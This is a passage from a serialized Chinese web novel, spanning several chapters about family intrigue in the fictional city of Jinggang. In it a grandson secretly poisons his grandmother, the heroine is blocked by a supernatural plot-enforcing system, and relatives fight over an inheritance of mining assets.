苏妙不知何时已站在身侧,一身利落的黑色长大衣,颈间围着厚厚的墨绿色羊绒围巾,鼻尖被冻得微微发红。 “苏莉死的时候,我没有去看过她。很久之后我再想起这件事,总觉得有点遗憾。” 苏妙开口,声音被寒风吹得有些低沉。 姜花衫看着那束红得几乎灼目的玫瑰,“没关系,方眉去了地下,说不定两人会碰上,有什么遗憾可以让她转达。” 苏妙知道这是独属于姜花衫的黑色幽默,她跟着笑了笑,认真道:“你知道吗?有时候我真的很佩服你。” 闻言,姜花衫挑了挑眉,语气里满是不解:“为什么是‘有时候’?我还以为你已经被我迷倒了。” 说着,她低下头拂去墓碑上凝结的水珠,语气轻松得像是在话家常:“方女士,我走了,以后也不会来了。再见。” 再也不见。 她回眸,给了苏妙一个眼神,便转身踏上了墓园湿漉漉的小径。 两人并肩在寂静的墓园里慢行,脚下是松软潮湿的泥土和偶尔踩到的枯枝发出的细微声响。 “你来找我,是余笙的事有结果了?” “嗯。”苏妙点头。 正如沈庄所言,余斯文的落马远非终点,而是新一轮纷争的序幕。 余笙虽洗清了叛国污名,但并未获得完全的自由。检察院就案件审理中涉及的“知情不报”事实再次向法院提起诉讼。 随着调查的深入,一个代号为“利维坦之陨”的地下组织逐渐浮出水面。这个组织不仅策划、实施了东湾恐怖袭击,还联合境外各种势力在A国进行暗黑活动,通过不法途径牟取暴利。 因此余笙再次被刑拘。 苏妙:“现在证据链已经锁定了,唯一有争议的是,余笙是否当真不知情,且并非完全没有参与。” 姜花衫怕冷,双手插在大衣口袋里,淡淡道:“人总要为自己做错的事负责。正义没有放过余斯文,同样也会制裁余笙。经历过上次的事,她应该有觉悟了。” 苏妙点头,“我刚刚去见过她了,她已经申请为检控方的污点证人,但这次她拒绝了我为她做公诉。” “正常。”姜花衫语气平静,“她心里清楚,她在这件事上并非绝对的清白。你现在名声大噪,如果继续为她辩护会连累你。” 苏妙却有些不理解,“我并不在乎所谓的外界名声,更不在意连累。” “但她在意。”姜花衫回头,迎上苏妙的目光,“利刃就该用来撕破天光,她或许觉得你应该用你的名声去拯救更需要的人。她现在已经能自救了,所以不想再浪费资源了。” 苏妙怔然。在来的路上,她想了一万种理由,始终想不透余笙拒绝她的缘由。但姜花衫这番话,瞬间让她豁然开朗。 “原来是这样……” 不是余笙小看了她,是她小看了余笙。 苏妙摇了摇头,莫名笑了出来。这笑里没有任何讽刺,她深吸了一口气,“这就解释得通了。” “什么?”姜花衫不解地看着她。 苏妙:“她让我帮她带句话给你。” 她说:“谢谢你,我一定会重新回来的。” 姜花衫脚步微顿。不知道为什么,她脑海中莫名闪过一个画面——泛着绿光的纸页,被交缠的藤蔓牵引轻轻一晃,那一章就翻篇了。 姜花衫怔愣了片刻,嘴角像是也被藤蔓牵引了一般,跟着缓缓上扬。 她知道,余笙的故事到此就结束了,但剧目的结束并不意味着终结。她自由了。 苏妙盯着她,一脸不解,“你笑什么?” 姜花衫不语,回头打量她,“那你笑什么?” 苏妙,“我笑,大家都是好人。” 姜花衫,“我笑,好人赢了。” 她们走到墓园边缘,远处城市的轮廓在灰蒙蒙的天色下显得有些模糊…… * 暮色渐沉,苏妙和姜花衫分别后便去了苏家。 她原本想着回来了也该打声招呼,可当她站在那扇熟悉的雕花铁门前时,却像有一道无形的屏障,让她迟迟无法推开。 她受高等精英教育长大,自然明白家族利益关系。这么多年来,苏家一直秉承中庸之道,并不轻易沾边。她替余笙出头,背后损害了不少人的利益,再加上她事先并未告知,爷爷未必接受得了。 几经挣扎,苏妙最终轻叹一声,紧了紧围巾,转身欲走。 “来了,怎么不进去坐坐?”忽然,一道温柔的低音自身后响起。 苏妙脚步一顿,刚回过头,苏灼就已经走到了她面前,不由分说拽着她往门内走。苏灼身形挺拔,高出苏妙许多,她根本挣扎不了,但心里那个执拗怎么都不肯放下,摆出一副嫌弃的模样。 “你撒手,我自己会走。” “我要真撒手,你转眼就跑了,爷爷又得拿我出气。” 苏灼根本不吃她那套,按着苏妙的头将她夹在胳膊下抱走。 苏妙越发觉得别扭,手脚乱踹,“你放开我,我还有事,我……” “怎么?有出息了就不认爷爷了?” 苏妙挣扎的动作瞬间僵住。苏灼低眸看了她一眼,悄悄松开了手臂。 苏妙有些狼狈地站稳,理了理被弄乱的头发和围巾,撇起嘴角,“什么话,我……” 抬眸的瞬间,她的话音戛然而止。 比苏敬琉的笑容更刺眼的,是一条几乎占据了苏楼整面墙的巨大红色横幅。那横幅足有三十米长,用的是上好的绸缎底,金色的大字在灯光下熠熠生辉,遒劲有力地书写着: -【法槌落定匡正义,巾帼扬威振家声!热烈庆祝苏家明珠小苏律师旗开得胜!】 苏妙:“……” …… 第928章 演员 鲸港的深冬,天空是调色盘里饱和度最低的灰色。 姜花衫一只脚刚踏进沈园,就敏锐地察觉到一丝不同寻常。 往常这个时间,园内基本没什么客人了。但此刻,主厅灯火通明,厅里还隐隐能看见人影攒动。 她正准备进去看看情况,恰好碰见傅绥尔从主厅里匆匆走来。傅绥尔抬头看见她,眼睛一亮,立马小跑上前。 “怎么样?事情都处理好了吗?” 她原本是想陪姜花衫一块儿去的,但姜花衫拒绝了,所以她就只能在家里等消息。 “嗯,都处理好了。”姜花衫一边应着,一边往主厅方向打量,“出什么事了?怎么这个时候家里还有客人?” 傅绥尔脸色微动,拉着姜花衫往廊下走,“顾家来人了,说是…顾家老太太今天下午突发急病,现在人在医院抢救,情况……很不好,医生已经下了病危通知。” “顾家老太太?” 姜花衫微愣,一下有些没有反应过来。 她没记错的话,顾老太太是在老爷子去世后半年才病逝的,怎么现在闹出病危这一出?她忽然有种不好的预感,难不成是因为剧目已经大幅度偏移,所以时间线也开始错乱了? 姜花衫眼神已然锐利起来,“沈清予呢?” 傅绥尔一脸担忧,“清予哥已经去医院了,你是没看见他当时的表情,他虽然嘴巴毒,但其实是最重感情的,我真怕……” 怕顾老太太真的撑不过去,这句话不是好话,傅绥尔想了想又咽了回去。 姜花衫明白她的意思,沉默片刻,再次看向主厅方向,“屋里的人是谁?” 傅绥尔,“是阿彦哥。听说老太太病发的很突然,要不是阿彦哥发现及时,连抢救的机会都没有了。” “顾彦?” 姜花衫轻声呢喃着这两个字,在残存的记忆里搜刮了一圈却依旧没什么印象。 “阿彦,你别急,我跟你一道过去看看。” 这边说话的功夫,两道人影一前一后从主厅走了出来。 沈渊走在前面,脸上带着显而易见的凝重。而跟在他身后半步的,是一个身量高挺的年轻男人。 那人穿着一身剪裁合体的深色西装,外面随意罩了件黑色羊绒大衣,身形清瘦却不显文弱。廊下的光线不算明亮,却也足以看清他脸上的苍白。 傅绥尔见状,立刻止住了话头,轻轻碰了下姜花衫的手臂,示意她看过去。 姜花衫的目光越过沈渊,直直落在了那个年轻的男人身上。她见过顾彦,但之前从未正眼看过,这次她打量得尤其仔细。 “多谢姑父。” 顾彦正侧头与沈渊说话,感受到一束打量的目光,他抬起眼,目光穿过廊下略显昏暗的光线与姜花衫撞了个正着。 “……”他眼里略有怔愣,但很快被脸上的急色遮掩了过去,微微颔首,算是打了招呼。 “说谢就见外了,顾家出这么大的事,你父亲又不在鲸港,我说什么都不能坐视不管。” 沈渊正说着,察觉到顾彦的目光落在了别处,他跟着看去,猛地脚步一顿。 或许是意识到自己的反应太大,沈渊立马抬步,目光短暂停留了一瞬,语气平和,“哦,衫衫回来了?累了吧?早点回去休息。” 姜花衫站在原地,目光一直追随着沈渊的背影,直到那身影消失在垂花门外的夜色里,她都没有挪开视线。 廊下的穿堂风掠过,带着刺骨的寒意,却不及她此刻心头骤然泛起的冷意。 方眉临死前曾提醒她,小心沈渊和周家。 沈渊她早就知道有问题了,一直没有空出手对付他,就是想弄明白沈渊和周家之间有什么关系? 上一世,爷爷出事前周宴珩死了,周家也被赶出了A国境内,按理周家人和爷爷的死并没有关系,为什么矛盾点还是指向周家呢? 还有沈渊刚刚看见她时的反应,明显很不自然。 “你在看什么?”傅绥尔跟着姜花衫的目光看去,略有些不解。 “顾彦。” “阿彦哥?他怎么了?有什么不对吗?” 姜花衫摇了摇头,“没有不对,我只是觉得,这个顾彦应该对顾老太太没什么感情。” 傅绥尔微愣,“怎么会?阿彦哥可是全鲸港有名的乖乖仔,听说他对老太太很是依赖,几乎是言听计从。” “这就奇怪了。连沈清予都失控了,他怎么这种反应?” 见傅绥尔还是不明白,她又继续道,“他表现出来的慌张和失神都太''标准''了,标准得像是在按照一个预设的剧本在走。一个真正心系亲人生死的人,是很难在细节上做得如此''周全''和''克制''的。” 傅绥尔虽然似懂非懂,但却丝毫没有怀疑姜花衫,立马道,“那我查查他?” 姜花衫被她逗笑了,“你?你怎么查?先说好,这事儿没确定之前不要惊动女王。” 傅绥尔拍了拍胸脯,“放心,山人自有妙计。” * 鲸和医院,VIP楼层 空气里弥漫着消毒水与绝望混合的冰冷气味。走廊尽头的抢救室,门上那盏刺目的红灯已然熄灭,留下一片死寂的空白。 沈渊与顾彦步履匆匆地赶到时,看到的便是这样一幅景象。 抢救室的门大开着,里面明亮的白光倾泻出来,映照着门口一道僵立的身影。 沈清予背对着他们,站在那里一动不动,宽阔的肩膀线条紧绷得仿佛下一刻就要断裂。 顾彦快走几步,脸上满是慌张:“清予哥,奶奶她……” 忽然,他的声音戛然而止。 因为就在他靠近的瞬间,目光已经看见了检测生命体征的仪器上那条笔直的平行线。 他嘴角牵扯出一丝不易察觉的微笑。 终于死了。 …… 第929章 永远不知道有几匹狼 “滴——” 病房里弥漫着死亡特有的寂静,只有象征终结的机器音还在不知疲倦地响着。 顾彦看着眼前这张毫无生气的面容,瞳眸里的黑色一点一点沉淀。 “祖母……” 他带着悲伤的情绪缓缓靠近,脑子里却不停复盘着六个小时前的每一幕。 他“好心”端着参汤去看望老太太,但老太太却并不领情,甚至拿起桌上滚烫的茶水对他泼了过来…… * “跪下!” 顾彦先是愣了愣,随即稳稳放下参汤,摆出一副言听计从的温顺模样。 “奶奶,出什么事了?” 老太太捏着几份文件,对着顾彦当头砸了过去,“你藏得够深的啊?要不是我多了个心眼从家族自查,差点就被你骗过去了。” 顾彦微微侧头,锋利的纸张擦过脸颊,划出一道很浅的口子。 他垂眸看着散落在地的文件,随意一扫就看到了关键的五个字——“利维坦之陨”。 “你有什么要解释的吗?”老太太的声音冷得像冰。 顾彦沉默片刻,缓缓弯下腰,将散落的文件一张一张捡起,叠整齐后恭敬放回桌面。 “没有。” 老太太失望至极,缓缓闭上眼深吸一口气,再睁开时,眼神决绝:“既然如此,自首吧。顾家不能因为你一个人蒙羞。” “自首?”顾彦抬眸,笑着反问,“如果今天跪在这里的是沈清予,奶奶也会让他自首吗?” 顾老太太神情僵滞,这是顾彦第一次用这样的眼神看她,比他的眼神更陌生的是他的质问。她哑然失笑,摇了摇头,“原来,这才是你的真面目?” 顾彦:“您不用转移话题?还是说,您不敢回答?” 这样的态度彻底激怒了老太太,她以一人之力挑起家族重任,自然不能容忍晚辈挑衅,怒声道:“你凭什么和清予比?清予才不会做出你这种丧尽天良、令家族蒙羞的事。” “呵~”顾彦点头,不怒反笑,“我刚刚就在想,你一定会这么说。” “凭什么跟沈清予比?凭什么跟沈清予比?”他垂着肩膀,笑得整个身体都在抖动,“奶奶,您知道吗?我从小到大最讨厌的就是跟沈清予比……” “可是你!”顾彦突然抬头,眼里的恨意几乎要将老太太绞杀,“总是不停地叨叨叨,叨叨叨,没完没了!没完没了!” 老太太皱眉,捂着心口,“孽障!孽障!” 顾彦转眸,看了一眼桌上的参汤,手掌撑地缓缓起身,“你说得对,我是孽障!但也是被你逼出来的孽障。你不是总说我不如沈清予吗?我就偏要证明给你看,是你瞎了眼!” 顾老太太怔然,万万没想到顾彦竟然如此大逆不道,瞪着满是皱纹的眼睛看着他,“你想做什么?” “不做什么。”顾彦端起那碗已经凉透的参汤,略带惋惜,“可惜了,这碗参汤我熬了两个小时,都冷了。不过,药效应该还在。” 老太太瞬间明白了他的意思,惊慌的同时更多的是错愕。 “顾管家!顾……” 不等老太太呼救,顾彦上前,一把钳住老太太的下巴,“奶奶,您忘记了,顾管家被您使唤出去给您最心爱的孙子送鸡汤了。哦,父亲也不在,国会内部调动太大,父亲上调了。” 说着,他将瓷碗抵住老太太的嘴角,一点一点灌入褐色的液体。 “在您心里,沈清予不是无所不能吗?你猜,他能不能救你……” 记忆的碎片与眼前冰冷的现实重叠。 顾彦眼底最后一丝波澜彻底沉寂,他缓缓伸出手,想要为老太太拉上那象征永诀的白布单。可就在白布单即将盖过老太太下巴时,他的手腕被一道力狠狠攥住,力道之大,几乎要捏碎他的骨头。 顾彦动作一顿,顺着那只手看去,“清予,奶奶已经死了。” 沈清予双目赤红,里面布满了血丝,像一头被逼到绝境的困兽。 顾彦垂眸,将自己的手腕从沈清予的钳制中挣脱出来,声音低沉而哽咽:“我知道了,奶奶最喜欢你,你送她最后一程吧。” 说着,神情落寞地背过了身…… * 顾家作为盘踞A国政商两界的百年世家,顾老夫人的猝然离世在鲸港掀起了惊涛骇浪。 这位执掌家族四十余年的铁腕女性家主,不仅是顾家的精神图腾,更是维系各方势力平衡的关键支点。她的溘然长逝,让整个顾氏家族的权力天平开始剧烈摇摆。 顾老夫人的葬礼被安排在七日后,这场丧礼几乎惊动了鲸港政商界的所有名流。 从清晨起,顾家老宅前的长街便已水泄不通。黑色轿车排成长龙,车牌号透露出车主非富即贵的身份。政界要员、商界巨擘、文化名流悉数到场,人们身着肃穆的黑衣,手执白菊,在细雨绵绵中缓步前行。 灵堂设在顾家祖宅的正厅,挽联如雪,花圈似海。 顾赐丰作为长子,携全家跪在灵堂右侧还礼。很快,细心的宾客发现了一个令人诧异的问题——整个葬礼沈清予从头至尾都没有现身,反而是不受顾家待见的沈渊一直忙前忙后。 顾老夫人对沈清予的偏爱是鲸港上流社会公开的秘密,如今这最该在场的人却缺席了最重要的时刻,不免让人诟病。 到了夜里,宾客散尽,只留下满室尚未撤去的白菊与挽联,在夜风中散发着凄清的香气。 顾彦避开众人,独自来到二楼书房。 这里曾经是顾老太太处理家族事务的地方,如今已然物是人非。 他反手锁上门,缓步走到窗边,确认四下无人后,才拿出手机拨通了一个号码。 电话响了好一会儿才被接通。 “是我。”顾彦率先开口,“如你所见,我已经按照约定,把人处理干净了。” 电话那边的人语调漫不经心,“哦,报纸头条传得沸沸扬扬,想不知道都难。” 顾彦眼底掠过一抹黯色,“你应该收到消息了吧?现在特情组在追查''利维坦之陨''。” “所以呢,你暴露了?”电话里的声音不以为然。 顾彦知道周家的本事,沉默片刻压低了声音,“周宴珩,现在大家是一艘船上的蚂蚱,要么一起上岸,要么一起死。你觉得呢?” “有道理,可是整个A国都在查,哪有这么好上岸。你别忘了,你的身份可不止我一个人知道。” “你是说萧澜兰?”顾彦淡淡道,“她也是一丘之貉,她不敢。” 电话那边笑了笑,忽然话锋一转,“你下手够果决的,没留下什么把柄吧?” 话音刚落,房门忽然发出“咔嚓”的声响。 顾彦脸色骤变,“有人来了。” 说完便毫不犹豫地掐断了电话。 他若无其事地将手机塞回口袋,快步走到门边。此时门外摆弄门锁的声音越来越响。 顾彦已经猜到了门外之人的身份,猛地拉开房门,一把将人拽进房间狠狠掐住脖子,“不是让你回房休息吗?” 顾玉珠穿着一身素白的睡衣,脸色比她身上的衣服还要苍白,整个人像一片在风中发抖的叶子。 她显然也没料到门会突然打开,吓了一跳,抬起泪眼朦胧的脸,声音带着崩溃的哭腔:“哥!怎么办……我睡不着,我一闭上眼睛……满脑子都是奶奶临死前看我的那个眼神!” “她在怪我?她在怪我……” …… 第930章 日常双标 没有人知道,顾老太太曾有一次活命的机会。 顾彦掐着老太太的脖颈强行灌药时,顾玉珠正好从外面回来,听见书房里有争执,想也没想就冲了进去。 她原本想调和矛盾,但万万没想到竟会看见颠覆她人生的一幕。 顾彦并未因为顾玉珠的闯入而终止迫害,他甚至没有一丝慌张,笑着邀请顾玉珠加入自己。 "阿珠,你不是也觉得这个老太婆很可恶吗?我听你的话,现在就毒死她。" 老太太一脸难以置信,却还是满怀希望地看着顾玉珠。 那眼神分明是在求救。 顾玉珠吓得浑身直打哆嗦,却迟迟没有上前。 老太太眼里的光一点一点被眼角的泪水湮灭,最后闭上了眼。 等顾玉珠晃过神时,一切都已经尘埃落地。 顾彦看着她惶恐到失常的表情,阴鸷的眼神在瞬间切换,掐着顾明珠脖子的手转而变成轻柔的托扶。 "阿珠,别胡思乱想。"他低声安抚,拉着顾玉珠落座,"你太累了,所以才会出现幻觉。" "不是幻觉,不是幻觉。"顾玉珠浑身发抖,泪水不断滑落,"哥,我当时只是晃了一下神,我不知道,我什么都不知道。我只是想帮你,我没想害奶奶……呜呜呜呜……" "傻丫头。"顾彦轻轻擦去她的眼泪,声音温柔得能滴出水来,"我跟你说了多少遍了,奶奶是生病了。人老了,总是要死的。记住了吗?" 顾玉珠看着眼前这双比夜色还深的黑眸,害怕到了极点,"哥,你会不会……" 顾彦知道她想说什么,轻叹了一声,"想什么呢?我们是这个世上最亲的人,我不会做出伤害你的事!但你也要记住,奶奶是生病了。" 顾明珠的抽泣声渐渐小了些,眼里满是小心翼翼,"我知道了,可这件事这么突然,我担心清予哥……" 说到沈清予,顾彦的眼神暗了几分,"奶奶明天就下葬了,他人都不敢来,有什么可担心的?放心,只要你不说,这件事永远不会有人知道。" * 与此同时。 "顾~彦?" 姜花衫缓缓靠向椅背,原本还在指尖灵活反转的电子笔赫然卡在了两指之间。 书桌一角亮着台灯,闪烁的电脑屏幕上正停留在一张年轻的面孔上,那张脸不是别人,正是全鲸港公认的乖乖仔——顾彦。 同时,也是利维坦最早期的成员之一,Y。 "早就说他有问题了,没想到竟然藏得这么深?" 沈年手里的那份名单她早就拿到了,但因为一直忙于应付余斯文与其境外势力,所以没能空出手。 顾家老太太的死太过突然,眼见剧情突变,她这才把档案调出来想看看有没有什么联系。 没想到,还真被她挖出了一个大瓜。 "如果顾彦就是Y,那老太太的死就一定不简单了。" 这个念头如同冰锥刺骨,姜花衫瞬间清醒。她"啪"地一声将笔按在桌面,猛地从椅子上站起身。 * 梅园。 "清予,你开门啊,我们好好谈谈。" "老太太的事已经是事实了,就算你不想面对也改变不了什么。明天就是老太太下葬的日子,她生前那么疼爱你,你无论如何都得出席啊。" 沈清予将自己反锁在房间内,沈渊站在门外苦口婆心劝了一晚上,口水都说干了,但里面还是没有一点反应。 沈渊抬手揉了揉眉心,急得嘴巴都长泡了,"清予,你不能这么任性了!你知道现在外面有多少风言风语吗?老太太最是器重你,北湾那些人也都看着,你这个时候躲起来岂不是把辛苦累积的基业拱手送人吗?" "砰!" 门内传来一声重物砸在门板上的闷响。 "滚!" 这声回应,让沈渊脸色瞬间变得难看。 他强压下火气,语气变得更加严厉:"沈清予!你别给我犯浑!这不是你耍性子的时候!顾家的葬礼,鲸港有头有脸的人都会去,你缺席意味着什么,你心里清楚!这不是你一个人的事,这关系到沈顾两家的脸面!你明天必须……" 不等他说完,身后突然响起一声调侃的女音: "二伯还真是闲,都这个时候了,还有空关心别人怎么想。" 沈渊脸色微变,转头看见姜花衫时,脸上肌肉不可控制地抽动。 他清咳了一声,语气甚是冷漠:"这里没你的事,清予现在不想见任何人,你……" 姜花衫充耳不闻,径直越过他走到房门前,啪啪用力敲门。 "沈清予,是我。我有话跟你说!" 门内外陷入一片短暂的死寂。沈渊正要斥责她的无礼和自以为是。 "咔哒——" 一声轻响,在沈渊难以置信的目光中,那扇任凭他磨破嘴皮也纹丝不动的房门,竟从里面被拉开了一道缝隙。 光线从门缝里流泻出来,映出沈清予苍白憔悴、满脸胡渣的脸。 姜花衫嗖地一下挤进门缝,没等沈渊反应过来,砰地一声房门再次合拢。 僵在原地的沈渊:"………………" …… 第931章 亲兄弟,明算账 哗啦啦—— 房间里的水流声打破了室内的死寂。 沈清予弯腰掬起冰水用力拍打脸颊,姜花衫坐在偏厅的沙发上,一言不发。 过了好一会儿,水流声停了。 沈清予双手撑在冰冷的台面上,水滴顺着他的下颌线滴落在白色大理石上,晕开一小片深色。他对着镜子里的自己端详了片刻,随后扯下毛巾盖在脸上,转身走了出去。 姜花衫听见脚步声,抬头看去,不觉一愣,“你这是什么造型?” 沈清予自行入座,扯过毛巾盖在脸上,“找我什么事啊?”他现在觉得自己挺没脸的,明明姜花衫也失去了母亲,他没能做什么就算了,现在还反过来要她来安慰自己。 姜花衫完全不知道沈清予的心思,抬脚踢了踢他的小腿,“你明天去不去啊?” “去。”沈清予声音暗哑,“婆婆最喜欢我了,最后一面怎么都要去。” 看来,沈清予心里还是拎得清的。 她现在只是怀疑老太太的死与顾彦有关,但并没有真正的证据,所以也只能试探引导。 念此,她故作无意道,“老太太这两年不是一直在休养吗?怎么忽然病得这么急?医院那边就没个说法?” 沈清予抬了抬下巴,下颌线紧绷。 等了一会儿不见他回答,姜花衫犹豫片刻,觉得还是应该把话说清楚。 顾彦曾经跟萧澜兰坑害过周宴珩,周宴珩睚眦必报,绝不可能放过顾彦,但顾彦现在还好好站在这,说明这两人背后一定达成了某种契约。 就算老太太的死和顾彦没有关系,但他是利维坦之陨的成员这件事是不争的事实,且他狼子野心与外表不符也是事实。她现在甚至怀疑,沈清予上一世惨死跟顾彦也脱不了干系。 “沈清予,有个人一定要小心……” -【叮——】 忽然,她的声音戛然而止。 眼前的画面瞬间变成了一粒粒跳跃的像素块,沈清予、灯光、房间的轮廓,所有的一切像是被疯狂拧转的魔方,以令人眩晕的速度不断翻转、重组! -【警告:世界剧目规则六:禁止向当前世界关键人物透露未来走向及核心人物隐藏身份!如有违背,泄露者随机产生一个人物负面标签,被泄露者当即抹杀。】 久违的电子音如同生锈的锁链在她脑颅内猛然绷紧,带来一阵阵生理性的恶心和剧烈的头痛。 “呃……” 姜花衫闷哼一声,死死按住额角,她的身体不受控制地轻微晃动,脸色在刹那间褪得干干净净,比沈清予刚才还要难看。 狗东西!竟然给她来这招。 姜花衫正要破口大骂,忽然眸光一闪。 之前的剧目规则中,要有第一条泄露剧目之门的秘密才会被抹杀,现在又来了个剧目六,说明剧目之力的干涉变强了。 顾彦果然跟沈清予的死有关。 -【叮——】 命运之手再次施展魔法,那令人眩晕的扭曲感如潮水般退去,像素变成了真实的材质,世界恢复了原状。 昏黄的灯光下,沈清予仰着脸藏在毛巾之下,声音暗哑,“婆婆最喜欢我了,最后一面怎么都要去。” 这是回到了三秒钟之前,剧目之力真是够吝啬的,竟然连她那句隐晦的提醒都掐掉了。 姜花衫知道,再挣扎也没有用了。 她站起身,一把扯下沈清予脸上的毛巾,“沈清予,顾老太太不在了,你的资产是不是会缩水啊?” 沈清予不防她会突然动手,还没反应过来,又被这近乎凉薄的问题怔住了。他不解地看着姜花衫。 但凡脑子正常的人都不会在这个时候跟一个失去至亲的人说这种话。 姜花衫却依旧一副理所当然的模样,“你之前说过,会承包我每个生日的珠宝,我马上就要二十岁了,那天出席的珠宝一定要是最夺目的。但以你现在这样状态应该做不到吧?” 倏尔,沈清予眼里的情绪像是被一层薄冰封住了,只剩下一种近乎空洞的平静。他就这样静静地看了姜花衫好几秒,像是在审视,又像是在透过她看别的什么东西。 “该说的不该说的,我都说完了。至于你要怎么想,随你。” 她将手里的毛巾丢给沈清予,转身拉开房门走了出去。 菊园外,走廊尽头。 沈渊眼神阴鸷,如同一条蛰伏的毒蛇隐蔽在夜色里。直到菊园院门传来吱呀声,晦暗的眸光猛地燃起一簇幽光。 姜花衫推门而出,独自踏上幽径小路,脚步轻快得不行。 这样的画面落在沈渊眼里可不是好消息,他几乎是咬着牙恨恨道:“还真是小看了她。早知道她会成为心腹之患,当初就应该早点解决。” 等到姜花衫的背影彻底消失,沈渊才慢慢从阴影里走了出来,转身向菊园走去。 眼下正是关键的时候,绝不能让清予被姜花衫摆布。 沈渊神色深沉,满脑子都在盘算,待会见到沈清予后要怎么说服他。 但现实往往比他想的还要残忍,还没等他敲门,里面就传来了咔嚓一声落锁声。 沈渊满腹心思骤然一惊,不可置信地用力拍打门板,“清予,你疯了吗?给我开门!” ‘咔嚓——’ 顾赫不语,埋头又加了一把锁。 * 第932章 被爱的小孩儿知道 在顾赐丰心里,沈清予和沈渊是截然不同的两种人。 沈渊是典型的商人,重利忘义;沈清予则不同,他虽然表面看着飞扬跋扈,但跟死去的妹妹一样极重感情。当年他的妹妹就是受感情所累,才会耗尽心血而亡。 他一直觉得这个外甥身上有妹妹的影子,所以才会在老太太竭尽全力偏心时睁一只眼闭一只眼。但眼前的沈清予完全颠覆了他以前的认知,陌生得让他觉得可怕。 顾家堂下站着一排顾氏家族的老人,他们自然不愿看见一个外姓人插手主家的事,议论纷纷。 “倒反天罡啊,老太太刚刚下葬他就忙着分夺家产,也不怕老太太半夜从地下爬起来找他的麻烦。” “就是,知人知面不知心,我早说过他不姓顾,跟咱们不是一条心,老太太偏不信。” 这些流言蜚语沈清予从小听到大,耳朵都要起茧了。他不以为然地招了招手。 随即,负责老太太遗嘱的信托负责人走上前,将一份密封的文件袋放在紫檀木桌上,动作利落地拆开火漆,取出一份正式遗嘱文件递给顾赐丰。 “这是老太太生前立下的最后一份遗嘱。根据公证文件,老太太名下直接及通过离岸信托间接持有的矿产权益,主要包括:西湾锂矿百分之五十一的控股权,X国‘蔚蓝矿业’百分之十八的股份,Z国刚果金联合钴业百分之十五的投票权,以及在海内湾区铜矿、铝土矿项目中的重大利益。” 男人每报出一个名字,堂下众人的脸色就白上一分。 “上述所有权益,作为一个不可分割的权益包,其唯一继承人和决策者,由外孙沈清予承接。儿子顾赐丰,获得与之等价的现金、不动产及家族基金收益权,但不涉及核心矿产的任何管理权与投票权。” “轰——!” 这一次,已经不是哗然,而是死寂之后的核爆。 就连顾彦都愣住了,猛地抬起头,那双善于伪装的眼睛里第一次出现了裂痕,“不可能!” 顾家之所以能跻身五大新贵,都是因为有这些矿源支持。这些资源在全球资源占比也是极恐怖的数据,是能够影响新能源、高科技和重工业战略布局的关键节点。可以说,谁继承了顾家矿产,谁就是顾家新主。 但顾家怎么能允许一个外姓人当家呢? “这怎么可能!绝对不行!这是顾家祖业,老太太有什么资格外传?” “凭什么一个外姓人拿大头?” 顾赐丰也愣住了,但他跟别人的反应不一样,是极其愤怒,“老太太当初立遗嘱时我也在场,里面的内容我记得很清楚,分明不是这样的。清予,你是不是太过分了?” 此话一出,众人立马反应过来。 “沈清予你竟然篡改遗嘱!” 沈清予并未将眼前的歪瓜裂枣放在眼里,懒懒道:“这么大逆不道的事,我可不敢做。” “顾先生。”信托负责人再次开口,“请您相信我们的专业和公正。这份遗嘱的确是老太太本人亲自修改并确认的,修改时间是十天前。这里是老太太签署的前遗嘱作废协议,请您过目。” 听见这番说辞,顾赐丰犹有疑虑。可当他接过协议书看见老太太的签名时,便知道这事大概率不会错了。他第一反应不是愤怒,而是无力。他以前只觉得母亲偏心,但万万没想到她竟然一点都不顾念顾彦。 作为儿子,他没有立场责怪母亲,毕竟老太太一路走来有多不容易他是知道的。但作为父亲,他实在不能接受这样的结果,哪怕两个孩子对半分也行,现在全部都给了清予,这让顾彦以后在鲸港怎么立足? 顾彦脸色难看到了极点。 十天前,正好就是他动手的前三天。看来老太太是查到了他的身份,所以才变更了遗嘱。 “这可不行,矿产是我们顾家的命脉,绝对不能交到外人手里。这份遗嘱肯定有问题。” “我看也是,说不定老太太当时神志不清被蛊惑了也不一定。” 信托负责人面带微笑,“诸位,法律是讲证据的,一切未经证实的言论皆不被采纳。” “我看你们分明是一丘之貉!” “没错!告他们,这些人肯定都是被收买了。” “都别说话。”顾赐丰深吸一口气,抬手暂时压下了身后族人的嘈杂,将目光投向沈清予,“清予,你开个价。” 沈清予挑了挑眉梢,“舅舅这话什么意思?” 顾赐丰,“顾家不能失去矿业产权,这点你应该比谁都清楚。老太太既然给了你,我无话可说。但你……能不能念在往日情分上,给顾家留条后路。” “我不全拿,一半就行。” 老太太变更的只有名下的矿业权,至于不动资产、资金、股票都是一碗水端平。但就算如此,要买下一半也不是小数。 沈清予不语,指尖有一搭没一搭地轻轻敲击着紫檀扶手,看神色似乎是在思考。 顾赐丰神色诚恳,“清予,我不相信人会一夜之间变得利益熏心、薄情寡义。就算有,这个人也绝对不可能是你。我们是一家人,如果你还当我是你舅舅,我们不妨坦诚布公坐下来好好谈谈。顾家是老太太一辈子的心血,她虽然走了,但顾家不能散。” 沈清予指尖微顿,狭长的眼睑缓缓上挑。 “舅舅……” * 第933章 孟慈 最后一句话,无异于将所有顾家人都打入了地狱深渊。 一个家族的繁盛盘根错节,彼此之间的利益更是密不可分。尤其是依附顾家矿脉生存的家族公司,十个里面十一个账目都是不干净的,不是欠着主家的钱就是私藏主家的货。沈清予的规矩一出,等同于把所有顾家人都踢出了局。 这可不再是鲸港顾家一家的事,而是整个家族的利益。之前还隐忍不发的族老们立马坐不住了,联合众人直接把顾家老宅的大门堵了起来。 "矿脉是我顾家的私产,老太太有什么资格私自处理?这份协议我们不接受!" 话音刚落,原本围在堂下的顾家族人如同潮水般向两侧分开,让出一条通道。只见数十名身着统一深色服饰的顾家子弟从四面八方涌入,将所有进出口围堵得水泄不通。 人群自动分开的空地上,两名年轻力壮的族人抬着两把象征着族中至高权力的紫檀木太师椅,行至堂前,与沈清予正面相对,呈分庭抗礼之势。 紧接着,两位须发皆白的老者缓缓步入堂内,分别左右落座。 右侧的老者方一入座,便继续道:"清予,做人留一线,日后好相见。老太太一生为顾家殚精竭虑,你是她生前最疼爱的孩子,可别辱没了这份恩情。" 顾忠是顾氏宗族里辈分最高的老叔公,就算老太太见了也要客气称呼一声小叔,这场围剿由他开启再适合不过。 "没错。顾氏矿脉一直是我顾家祖业,原本不过是交给阿柴媳妇代为保管,如今她既然已经入土为安,这产业也该交还给族里了。" 